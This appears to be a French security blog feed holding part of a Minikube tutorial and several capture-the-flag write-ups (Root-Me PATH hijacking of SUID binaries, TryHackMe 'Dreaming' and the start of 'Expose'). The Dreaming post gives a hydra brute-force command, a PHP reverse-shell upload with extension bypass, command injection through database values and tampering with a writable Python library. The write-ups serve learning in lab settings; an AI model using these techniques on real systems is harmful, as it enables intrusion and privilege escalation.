<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756224800190/c6587ddd-897e-4620-8a82-df881f31cbff.png" alt class="image--center mx-auto" /></p>
<p>La commande a été exécutée et affiche la liste des pods en cours d’exécution. Un pod est l’unité de base de déploiement dans Kubernetes. Il représente un ou plusieurs conteneurs qui partagent le même réseau et le même espace de stockage. Chaque pod a sa propre adresse IP, ce qui permet aux conteneurs à l'intérieur de communiquer entre eux.</p>
<p>Le cluster Kubernetes est maintenant fonctionnel et tous les composants ( etcd, kube-apiserver, kube-controller-manager, kube-scheduler, etc) sont en status Running.</p>
<h2 id="heading-etape-2-deployer-une-application-de-test-conteneurisee">Étape 2 : Déployer une application de test conteneurisée</h2>
<p>On va déployer ici une application conteneurisée assez simple, un serveur web NGINX.</p>
<ol>
<li><p>Crééz le déploiement</p>
<pre><code class="lang-bash"> minikube kubectl -- create deployment hello-nginx --image=nginx
</code></pre>
<p> Cette commande crée un pod(un conteneur) avec l’image NGINX, qui contient tout ce qu’il faut pour exécuter le serveur web.</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756226197064/f7c820c2-6292-4e2f-84e2-3a109dc1a6c5.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Exposez l’application</p>
<pre><code class="lang-bash"> minikube kubectl -- expose deployment hello-nginx --<span class="hljs-built_in">type</span>=NodePort --port=80
</code></pre>
<p> Cette commande expose le déploiement kubernetes et crée un service de type NodePort pour accéder à l’application depuis le navigateur</p>
<p> <img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756226208691/0a633889-1928-4b4f-93a8-2edf01adc3b8.png" alt class="image--center mx-auto" /></p>
</li>
<li><p>Accédez à l’application</p>
<pre><code class="lang-bash"> minikube service hello-nginx
</code></pre>
<p> Cette commande permet à Minikube d’ouvrir une URL dans le navigateur pour voir la page NGINX.</p>
</li>
</ol>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756226217263/ff36a26f-110e-4204-a8c8-408b19c9ceee.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1756226177257/6d410943-6020-431a-bde1-6f60e64a98f3.png" alt class="image--center mx-auto" /></p>
<p>Le cluster fonctionne donc bien. La prochaine étape serait de déployer une réelle application.</p>
]]></content:encoded></item><item><title><![CDATA[RootMe App-Script/Bash-System-2]]></title><description><![CDATA[Lien : https://www.root-me.org/fr/Challenges/App-Script/ELF32-System-2

On veut pouvoir lire le mot de passe du fichier .passwd mais il n’est lisible que par le propriétaire du fichier app-script-ch12-cracked.
Le code source de ch12.c utilise la fonc...]]></description><link>https://blog.fikara.io/rootme-app-scriptbash-system-2</link><guid isPermaLink="true">https://blog.fikara.io/rootme-app-scriptbash-system-2</guid><category><![CDATA[root-me]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[shell script]]></category><category><![CDATA[Bash]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Mon, 09 Jun 2025 22:49:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1749504538459/36c14397-4060-42a6-8c24-02584a9f4010.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Lien : <a target="_blank" href="https://www.root-me.org/fr/Challenges/App-Script/ELF32-System-2">https://www.root-me.org/fr/Challenges/App-Script/ELF32-System-2</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749505028969/8161ee5c-7590-496b-853f-cb2c6b78550e.png" alt class="image--center mx-auto" /></p>
<p>On veut pouvoir lire le mot de passe du fichier <code>.passwd</code> mais il n’est lisible que par le propriétaire du fichier <code>app-script-ch12-cracked</code>.</p>
<p>Le code source de <code>ch12.c</code> utilise la fonction <code>system()</code> pour lister le répertoire du fichier <code>.passwd</code>. Par contre la commande <code>ls</code> est appelée dans la fonction <code>system()</code> sans spécifier le chemin absolu, c’est-à-dire <code>/bin/ls</code>. Puisque le fichier <code>ch12</code> a le binaire SUID activé, il peut s’exécuter avec les droits du propriétaire. Quand la commande <code>ls</code> sera exécutée par la commande <code>system()</code>, le shell regardera au niveau des variables d’environnement PATH puis cherche la commande <code>ls</code> dans les répertoires. La commande qu’on aura manipulé sera donc exécutée à la place.</p>
<p>Créér le répertoire dans /tmp/script</p>
<pre><code class="lang-bash">mkdir /tmp/script
nano /tmp/script/ls
</code></pre>
<p>Écrire ensuite le script pour lire le fichier <code>.passwd</code>.</p>
<pre><code class="lang-bash"><span class="hljs-meta">#!/bin/bash</span>
cat /challenge/app-script/ch12/.passwd
</code></pre>
<p>Rendre le script ls exécutable</p>
<pre><code class="lang-bash">chmod +x /tmp/script/ls
</code></pre>
<p>Modifier la variable d’environnement PATH pour inclure notre script</p>
<pre><code class="lang-bash"><span class="hljs-built_in">export</span> PATH=/tmp/script:<span class="hljs-variable">$PATH</span>
</code></pre>
<p>En vérifiant avec la command <code>which ls</code>, on voit que que le script est bien trouvé avant la commande ls.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749509148631/6dd13ac1-3b25-4e01-800c-c3d9d4bc464c.png" alt class="image--center mx-auto" /></p>
<p>On peut maintenant lire le fichier.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749509071532/4f6bdf63-3c6c-4555-81b5-548700be846c.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[RootMe App-Script/Bash-System-1]]></title><description><![CDATA[Lien: https://www.root-me.org/fr/Challenges/App-Script/Bash-System-1
Pour ce challenge, il faut lire le fichier .passwd dans le répertoire de l’utilisateur avec lequel on est connecté.

Ce fichier est détenu par app-script-ch11-cracked, qui a le droi...]]></description><link>https://blog.fikara.io/rootme-app-scriptbash-system-1</link><guid isPermaLink="true">https://blog.fikara.io/rootme-app-scriptbash-system-1</guid><category><![CDATA[root-me]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[Bash]]></category><category><![CDATA[shell script]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Sat, 07 Jun 2025 13:29:26 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1749303046265/39ba0c1b-238b-4184-89d6-eaf84f9dc89e.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Lien: <a target="_blank" href="https://www.root-me.org/fr/Challenges/App-Script/Bash-System-1">https://www.root-me.org/fr/Challenges/App-Script/Bash-System-1</a></p>
<p>Pour ce challenge, il faut lire le fichier <code>.passwd</code> dans le répertoire de l’utilisateur avec lequel on est connecté.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749295956943/ea8ebba4-a52b-407a-82d1-dd150b7e8bad.png" alt class="image--center mx-auto" /></p>
<p>Ce fichier est détenu par <code>app-script-ch11-cracked</code>, qui a le droit de lire, et il appartient aussi au groupe <code>app-script-ch11</code>. Le fichier <code>ch11</code> est un exécutable en <code>C</code>, qui utilise la fonction <code>system</code> pour lister contenu de <code>.passwd</code>. Et vu que <code>.passwd</code> est un fichier et non un dossier, lorsqu’on l’exécute il affiche juste le nom sans lire le contenu.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749298227565/97eff00a-cd6a-4fa0-b3cd-d6f2b32d32b0.png" alt class="image--center mx-auto" /></p>
<p>Par contre, on voit que le fichier <code>ch11</code> a le bit SUID défini, indiqué par le <code>s</code> dans les permissions à la place du <code>x</code> pour l’exécution. Cela signifie que lorsqu’il est exécuté, c’est avec les privilèges du propriétaire, soit <code>app-script-ch11-cracked</code>.</p>
<p>La faille ici se trouve au niveau du <code>ls</code> qui est appelé au niveau de la fonction <code>system</code>. Le programme appelle <code>ls</code> sans spécifier où le trouver. En principe, on devait avoir <code>system("/bin/ls /challenge/app-script/ch11/.passwd")</code> pour indiquer le chemin absolu de la commande ls sur le système. Lorsque la commande est exécutée, le shell regarde dans la variable d’environnement appelée <code>PATH</code>, qui contient la liste de répertoires où il cherche ses commandes. Si on arrive à modifier le <code>PATH</code>, pour le pointer vers un autre répertoire, on peut modifier l’exécution du <code>ls</code> qui sera remplacée par une autre commande, vu que la vraie commande <code>ls</code> (/bin/ls) n’est pas spécifiée au niveau de la fonction system. Notre fausse commande <code>ls</code> sera ensuite exécutée avec les privilèges de <code>app-script-ch11-cracked</code> car le fichier <code>ch11</code> a le bit suid.</p>
<p>Pour créer la fausse commande ls, on créé un répertoire qui va contenir un script nommé <code>ls</code>. On peut créer ce script dans un répertoire <code>/tmp/script</code>.</p>
<pre><code class="lang-plaintext">#!/bin/bash
cat /challenge/app-script/ch11/.passwd
</code></pre>
<p>Il s’agit d’un shell (#!/bin/bash) qui va lire et non lister le contenu du fichier avec <code>cat</code> au lieu de <code>ls</code>. Il faut ensuite rendre ce script exécutable avec la commande suivante</p>
<pre><code class="lang-plaintext">chmod +x /tmp/script/ls
</code></pre>
<p>Il faut maintenant modifier la variable <code>PATH</code> pour que <code>/tmp/script</code> soit le premier endroit où le shell cherche les commandes.</p>
<pre><code class="lang-plaintext">export PATH=/tmp/script:$PATH
</code></pre>
<p>Avant l’exécution de cette commande, le <code>PATH</code> était probablement <code>/usr/local/sbin</code>, mais une fois qu’on l’exécute, le PATH débute par <code>/tmp/script</code>. Quand il voit à partir de là, une commande <code>ls</code>, il exécute donc <code>/tmp/script/ls</code> et non <code>/bin/ls</code>.  </p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1749302925810/90aa4d76-d5c8-49af-be91-888885ce9b5c.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[TryHackMe Room Dreaming]]></title><description><![CDATA[Lien de la room: https://tryhackme.com/room/dreaming
On débute par un scan nmap, mais rien d’intéressant.

On cherche ensuite des répertoires ou fichiers sur le serveur avec gobuster, via la commande gobuster dir -u 10.10.56.225 -w /usr/share/wordlis...]]></description><link>https://blog.fikara.io/tryhackme-room-dreaming</link><guid isPermaLink="true">https://blog.fikara.io/tryhackme-room-dreaming</guid><category><![CDATA[thm dreamin room]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><category><![CDATA[tryhackmewalkthrough]]></category><category><![CDATA[#cybersecurity]]></category><category><![CDATA[thm]]></category><category><![CDATA[THM writeup]]></category><category><![CDATA[thm room]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Wed, 28 May 2025 00:33:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1748356721282/48eb8401-4d69-4ecb-bc22-aa7174d676d7.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Lien de la room: <a target="_blank" href="https://tryhackme.com/room/dreaming">https://tryhackme.com/room/dreaming</a></p>
<p>On débute par un scan nmap, mais rien d’intéressant.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748356975449/375bc3ee-080f-48c7-8301-02a5287bbd1e.png" alt class="image--center mx-auto" /></p>
<p>On cherche ensuite des répertoires ou fichiers sur le serveur avec gobuster, via la commande <code>gobuster dir -u 10.10.56.225 -w /usr/share/wordlists/dirb/big.txt</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748357891451/75260661-238b-45b9-8027-5b28de7c3b9f.png" alt class="image--center mx-auto" /></p>
<p>On y trouve un répertoire <code>/app</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748357918625/31742175-51d3-4215-b67f-2fc3ee95cf44.png" alt class="image--center mx-auto" /></p>
<p>On tombe ensuite sur une page qui est celle du CMS</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748358276269/52c490c7-d30e-4fe6-8702-91f691cdebc1.png" alt class="image--center mx-auto" /></p>
<p>En cliquant sur le lien admin, on a une page de connexion avec juste un mot de passe.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748358366104/97eb5ddd-9114-4b66-9c7a-ec9fbe16b8e6.png" alt class="image--center mx-auto" /></p>
<p>Après une recherche google et sur metasploit, il existe bien un exploit disponible de la version <code>4.7.13</code> du <code>CMS pluck</code>, qui permet un upload de fichiers dans <code>Pluck CMS</code> pour permettre un code d’exécution à distance. On peut donc essayer d’y téléverser un fichier qui va permettre une connexion en reverse shell sur notre machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748358870549/bc823105-24a1-46a8-982f-63e7da349188.png" alt class="image--center mx-auto" /></p>
<p>J’ai d’abord essayé de manipuler le lien en tentant un LFI, mais on a un message d’erreur. Il semble y avoir un filtre qui bloque les injections LFI.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748358704452/582dc12e-ce9d-4eb7-8e3e-94713a252d9e.png" alt class="image--center mx-auto" /></p>
<p>On essaie de bypasser la page de login trouvé un peu plus haut avec du brute force avec hydra. En examinant le code source de la page de <code>login.php,</code> on a des infos sur les paramètres à utiliser dans la commande avec hydra</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748360245364/1bcca930-8071-453d-a723-7222be45e748.png" alt class="image--center mx-auto" /></p>
<p>On essaie la commande <code>hydra -l admin -P /usr/share/wordlists/rockyou.txt 10.10.56.225 http-post-form "/app/pluck-4.7.13/login.php:cont1=^PASS^&amp;bogus=’’ : Password incorrect"</code></p>
<p>Cette commande envouie une requête POST vers <code>/app/pluck-4.7.13/login.php</code>, la page du formulaire. <code>cont1</code> et <code>bogus</code> sont les noms des champs pour le mot de passe et le nom d’utilisateur. Mais celui du nom d’utilisateur n’intervient pas dans la connexion donc on le met à vide.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748360372344/26cc211e-2957-4b4f-869a-3690f3120957.png" alt class="image--center mx-auto" /></p>
<p>Après avoir testé les mots de passe un à un, le mot de passe valide est <code>password</code>. On tombe sur page <code>admin.php</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748360646082/0ec60ee9-254e-40e1-b677-33a3c1be41e9.png" alt class="image--center mx-auto" /></p>
<p>En parcourant un peu le site, on a une section qui nous permet de téléverser un fichier. On va donc créer un reverse shell en PHP.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748384331497/ac41edbf-82e0-4465-b27e-a711c66f470e.png" alt class="image--center mx-auto" /></p>
<p>Une fois le fichier téléversé, il a été modifié en <code>rev_shell.php.txt</code>, ce qui empêche l’exécution directe du code vu que le sevreur le considère juste comme un fichier texte.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748384498958/dc1ac176-3dfd-4639-9654-57534a1b0794.png" alt class="image--center mx-auto" /></p>
<p>On va donc renommer le fichier en ajoutant une des extensions <code>.phtml</code>, <code>.php5</code>, <code>.phar</code> car celles-ci ne sont pas toujours filtrées.</p>
<p>Après avoir renommé puis téléversé, on appuie sur la loupe, ce qui permet d’accéder à <code>http://10.10.2.49/app/pluck-4.7.13/files/rev_shell.phar</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748385394684/4adc4c9d-bb54-493e-bba8-c52b4819b22d.png" alt class="image--center mx-auto" /></p>
<p>On a ensuite le reverse shell sur notre machine.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748385501627/a31252b8-894f-4dc4-8c9c-61ff45d00ce0.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-lucien-flag">Lucien Flag</h1>
<p>Une fois connecté sur la machine cible, on tentera de lire le flag de lucien.</p>
<p><code>www-data</code> n’a pas les permssions. On peut juste le lire en étant connecté à lucien, le propriétaire du fichier lui-même.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748385923587/4c575033-709b-4b69-a003-6d09528219ea.png" alt class="image--center mx-auto" /></p>
<p>Pareil pour le flag de death et celui de morpheus.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748386083402/57330649-e78c-4657-994d-5b8043a96fe0.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748386065318/619e0f81-15d6-4dbf-81bd-554cf36cc186.png" alt class="image--center mx-auto" /></p>
<p>On essaie un <code>sudo -l</code> pour voir les commandes privilèges que l’utilisateur peut exécuter via sudo.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748387828478/9a11231b-2746-419a-8786-8f73fff3fbcd.png" alt class="image--center mx-auto" /></p>
<p>On obtient une erreur car sudo demande un mot de passe. On doit donc stabiliser le shell pour pouvoir utiliser sudo -l. Pour stabiliser le shell, utiliser les commandes suivantes:</p>
<pre><code class="lang-bash">python3 -c <span class="hljs-string">'import pty;pty.spawn("/bin/bash")'</span>
<span class="hljs-built_in">export</span> TERM=xterm
CTRL+Z
stty raw -<span class="hljs-built_in">echo</span>;<span class="hljs-built_in">fg</span>
ENTRÉE
ENTRÉE
</code></pre>
<p>Après ca on a un shell interactif, mais on retente sudo -l et on a une demande de mot de passe.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748388259359/974a1f1a-e2f2-4b93-a05c-fbc05e804614.png" alt class="image--center mx-auto" /></p>
<p>Le user <code>www-data</code> n’est pas dans le fichier sudoers avec les droits nécéssaires, on ne peut donc pas passer par cette technique.</p>
<p>On va essayer la commande <code>find / -type f -perm 4000 2&gt;/dev/null</code> pour trouver les fichiers SUID, qui sont des fichiers ou programmes qui s’exécutent avec les droits de leur propriétaire.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748390336475/11c3da31-125e-440f-8dc8-6c3019f5dc6d.png" alt class="image--center mx-auto" /></p>
<p>Mais on a rien 😕.</p>
<p>On essaie la commande <code>find / -type f -group lucien 2&gt;/dev/null</code>, qui cherche les fichiers appartenant au groupe <code>lucien</code>. Vu qu’on avait trouvé plus haut que le fichier <code>lucien_flag.txt</code> appartenait au groupe <code>lucien</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748391206731/74e4e161-8433-42ae-beb1-2fa1feafaecc.png" alt class="image--center mx-auto" /></p>
<p>On y voit un fichier <code>/opt/test.py</code> qu’on peut lire.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748391580847/ed81ab7a-d4d3-456c-ac07-8f28a1b1dcbb.png" alt class="image--center mx-auto" /></p>
<p>On y voit une URL qui pointe vers localhost, et un mot de passe. Il s’agit peut-etre du mot de passe de lucien. On tente donc <code>su lucien</code> pour se connecter avec le mot de passe trouvé et bingo, on se connecte et on a le flag de l’utilisateur lucien 😁. On peut aussi se connecter avec ssh.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748391807442/bdbb59cc-89b8-4cd0-9dd6-b5fa3f499a05.png" alt class="image--center mx-auto" /></p>
<h1 id="heading-death-flag">Death Flag</h1>
<p>Ici aussi le fichier <code>death_flag.txt</code> ne peut-être lu que par son propriétaire. On essaie <code>sudo -l</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748393162102/27908f4b-86f8-44d2-b78d-385bcc265251.png" alt class="image--center mx-auto" /></p>
<p>La dernière ligne indique que lucien peut exécuter le script <code>getDreams.py</code>, même si celui-ci appartient à l’utilisateur death.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748394131296/6d313193-4928-4264-b52b-96b2b98b1b85.png" alt class="image--center mx-auto" /></p>
<p>On essaie donc de voir le contenu de <code>getDreams.py</code>, mais on ne peut pas le lire directement dans le répertoire de <code>death</code>. Je fais donc la commande <code>find / -type f -name “getDreams.py“ -readable 2"&gt;/dev/null</code>. On peut lire le fichier <code>getDreams.py</code> depuis le répertoire <code>/opt</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748394446400/4f069151-8285-4a17-85a0-459e84e84412.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748394617015/8a9aff4a-fe40-4937-8333-3b7d3bbe54bb.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748394692493/1fd1019c-4452-4a5f-8015-e8eed53fc735.png" alt class="image--center mx-auto" /></p>
<p>En analysant le contenu, il s’agit d’opérations effectuées sur une base de données. La fonction <code>getDreams()</code> se connecte à la base de données <code>library</code> avec le compte <code>death</code> et un mot de passe <code>#redacted</code> . Elle récupère ensuite des données (dreamer et dream)de la table <code>dreams</code> puis les exécute dans une commande shell via <code>subprocess.check_output()</code>.</p>
<p>Vu qu’on a des identifiants, je tente une connexion direct à <code>mysql</code> avec la commande <code>mysql -u death -p #redacted -D library</code>. Je tente aussi avec lucien mais rien.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748444388211/e2780f0a-30c3-43af-bfef-5ee395f016a5.png" alt class="image--center mx-auto" /></p>
<p>Un peu compliqué ici, on a des mots de passe mais pas de connexion, pourtant il y a bien du sql. En retournant dans le dossier de lucien, il y a deux fichiers, <code>mysql_history</code> et <code>bash_hisotry</code>. En les consultant, on voit les commandes bash entrés par lucien, et donc la commande utilisée pour se connecter à mysql et aussi les commandes utilisées une fois connecté à mysql.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748444486116/f8426972-7fce-4830-b0fe-1aa032274fc2.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748444563363/82656519-bc35-4c3c-b4e7-f211a9deefc1.png" alt class="image--center mx-auto" /></p>
<p>On arrive donc à se connecter</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748445138405/fd502100-406f-4eba-bb8a-39a2471223ac.png" alt class="image--center mx-auto" /></p>
<p>J’ai exécuté la commande trouvée plus haut dans le fichier <code>getDreams.py.</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748445239060/5c6a747c-59f0-46ae-9299-01d9a9c76eda.png" alt class="image--center mx-auto" /></p>
<p>Dans le fichier <code>getDreamer.py</code>, on avait ce bout de code</p>
<pre><code class="lang-bash"><span class="hljs-comment"># Loop through the results and echo the information using subprocess</span>
            <span class="hljs-keyword">for</span> dream_info <span class="hljs-keyword">in</span> dreams_info:
                dreamer, dream = dream_info
                <span class="hljs-built_in">command</span> = f<span class="hljs-string">"echo {dreamer} + {dream}"</span>
                shell = subprocess.check_output(<span class="hljs-built_in">command</span>, text=True, shell=True)
                <span class="hljs-built_in">print</span>(shell)
</code></pre>
<p>Et avec la sortie de <code>sudo -l</code> , l’utilisateur lucien peut exécuter <code>/home/death/getDreams.py</code> en utilisant <code>python3</code> en tant que l’utilisateur <code>death</code>, et ce, sans fournir un mot de passe.</p>
<p>On trouve le même indice dans le fichier <code>.bash_history</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748447198551/b4bd1e31-1693-4833-b448-f0a5b5b9f6b4.png" alt class="image--center mx-auto" /></p>
<p>On fait donc <code>sudo -u death /usr/bin/python3 /home/death/getDreams.py</code> et on a la commande echo qui s’exécute et la fonction <code>subprocess.check_output()</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748447242250/f9dc8e1f-45b6-408b-920a-83d4bffb5bac.png" alt class="image--center mx-auto" /></p>
<p>La base de données peut être donc vulnérable à une injection de commande shell. J’essaie la commande <code>INSERT INTO dreams VALUES('test','$(whoami)');</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748479130953/d4b22e44-eff9-4ba2-8e8d-3d960030dadd.png" alt class="image--center mx-auto" /></p>
<p>Quand on exécute ensuite <code>sudo -u death /usr/bin/python3 /home/death/getDreams.py</code>, on a bien l’identifiant <code>death</code> qui s’affiche dû à l’injection de <code>$(whoami)</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748479589769/6c2c30f8-6533-4b31-b1a2-4cfa05b802ff.png" alt class="image--center mx-auto" /></p>
<p>On peut essayer de directement lire le flag de death.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748480206603/b3b1e5e3-4cee-4d37-8b27-c5c00e2b741c.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748480230851/68aa716d-8b8d-4c12-bd11-56f2360af401.png" alt class="image--center mx-auto" /></p>
<p>On a le flag de death 🙂</p>
<p>On va aussi essayer de trouver le mot de passe de l’utilisateur <code>death</code>. Pour cela on fait une insertion dans la base de données avec <code>INSERT INTO dreams VALUES('test','$(head -n 20 /home/death/getDreams.py)');</code>. Cette commande permet de lire les 20 premières lignes du fichier <code>/home/death/getDreams.py</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748529597524/ee53e3cd-a57f-41ef-9665-5c1e3308a470.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748529619694/fbf76e1d-45b4-48ce-88d1-d52f52c27edc.png" alt class="image--center mx-auto" /></p>
<p>On a donc le mot de passe de l’utilisateur death et on peut se connecter via ssh.</p>
<h1 id="heading-morpheus-flag">Morpheus Flag</h1>
<p>Dans le répertoire de morpheus, on retrouve plusieurs fichiers. Celui qui interpelle en premier est le fichier <code>kingdom</code>, mais rien d’intéressant. Par contre dans le fichier <code>restore.py</code>, la fonction <code>copy2()</code> de librairire <code>shutil</code> est utilisée pour copier un fichier vers un dossier de backup <code>/kingdom_backup/kingdom</code></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748521433276/54c79f02-7c4c-4baa-996b-e66e360b1b76.png" alt class="image--center mx-auto" /></p>
<p>Mais on ne peut accéder à ce fichier.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748521605932/4b18d038-8ec4-43ce-a7bc-a06cd4bc31c2.png" alt class="image--center mx-auto" /></p>
<p>On essaie de voir si il y a une faille autour de la librairire, mais rien.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748522496614/b0ce48b8-0f50-4857-ae96-6ddf5074d48a.png" alt class="image--center mx-auto" /></p>
<p>En recherchant la libriaire shutil, on voit qu’elle est stockée dans <code>/usr/lib/python3.8/shutil.py</code>. Le fichier appartient à <code>root</code> mais est aussi modifiable par le groupe <code>death</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748522758897/fb70b4c3-87b9-4f58-8929-252bd1a50769.png" alt class="image--center mx-auto" /></p>
<p>On peut donc soit modifier le fichier <code>/usr/lib/python3.8/shutil.py</code> pour du reverse shell ou juste modifier les permissions du fichier <code>morpheus_flag.txt</code> avec l’utilisateur death, car c’est lui qui a les droits d’écriture. On ajoute <code>os.system('chmod 777 /home/morpheus/morpheus_flag.txt')</code> pour le rendre accessible à tous.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748523415473/d63e55e2-9ce3-4d93-854a-c252dcb54605.png" alt class="image--center mx-auto" /></p>
<p>On a le flag 😁</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748523608698/03779906-7f83-4895-82a9-206742d3ede9.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1748523638908/fc726b9f-2dc9-4d09-8e0b-4c4acd4a0127.png" alt class="image--center mx-auto" /></p>
]]></content:encoded></item><item><title><![CDATA[TryHackMe Room Expose]]></title><description><![CDATA[Lien de la room: https://tryhackme.com/room/expose
User Flag
On débute par un scan Nmap. On voit 4 ports ouverts dont la 1337.

En examinant cette page et le code source, rien qui pourrait nous servir.
Je tente alors une commande avec gobuster pour é...]]></description><link>https://blog.fikara.io/tryhackme-room-expose</link><guid isPermaLink="true">https://blog.fikara.io/tryhackme-room-expose</guid><category><![CDATA[thm]]></category><category><![CDATA[THM writeup]]></category><category><![CDATA[thm room]]></category><category><![CDATA[thm-presecurity-path]]></category><category><![CDATA[tryhackme]]></category><category><![CDATA[TryHackMe Walkthrough]]></category><category><![CDATA[tryhackmewalkthrough]]></category><dc:creator><![CDATA[FIKARA BILAL]]></dc:creator><pubDate>Sun, 11 May 2025 02:05:00 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1746929181732/7a6510f3-b3d1-4692-92b0-efb91b91f99f.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Lien de la room: <a target="_blank" href="https://tryhackme.com/room/expose">https://tryhackme.com/room/expose</a></p>
<h1 id="heading-user-flag">User Flag</h1>
<p>On débute par un scan Nmap. On voit 4 ports ouverts dont la 1337.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746918082078/fb26e2c2-1ba6-4fd7-9f31-4e9c6c87155d.png" alt class="image--center mx-auto" /></p>
<p>En examinant cette page et le code source, rien qui pourrait nous servir.</p>
<p>Je tente alors une commande avec <code>gobuster</code> pour énumérer des répertoires ou fichiers cachés. On trouve ici deux répertoires: <code>admin</code> et <code>admin_101</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746918274932/fab535a2-9aeb-4b39-bb1a-0b98a94d5733.png" alt class="image--center mx-auto" /></p>
<p>La page <code>http://10.10.194.184:1337/admin/</code> est un formulaire de connexion.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746918399680/802c909f-1e30-4c57-ba1c-2352767493f8.png" alt class="image--center mx-auto" /></p>
<p>La page <code>http://10.10.194.184:1337/admin_101/</code> héberge le même formulaire, mais ici la valeur de l’email est défini par défaut à <code>hacker@root.thm</code>.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1746918465796/0eb76aae-1116-4ae4-9ab2-03421d1c894e.png" alt class="image--center mx-auto" /></p>
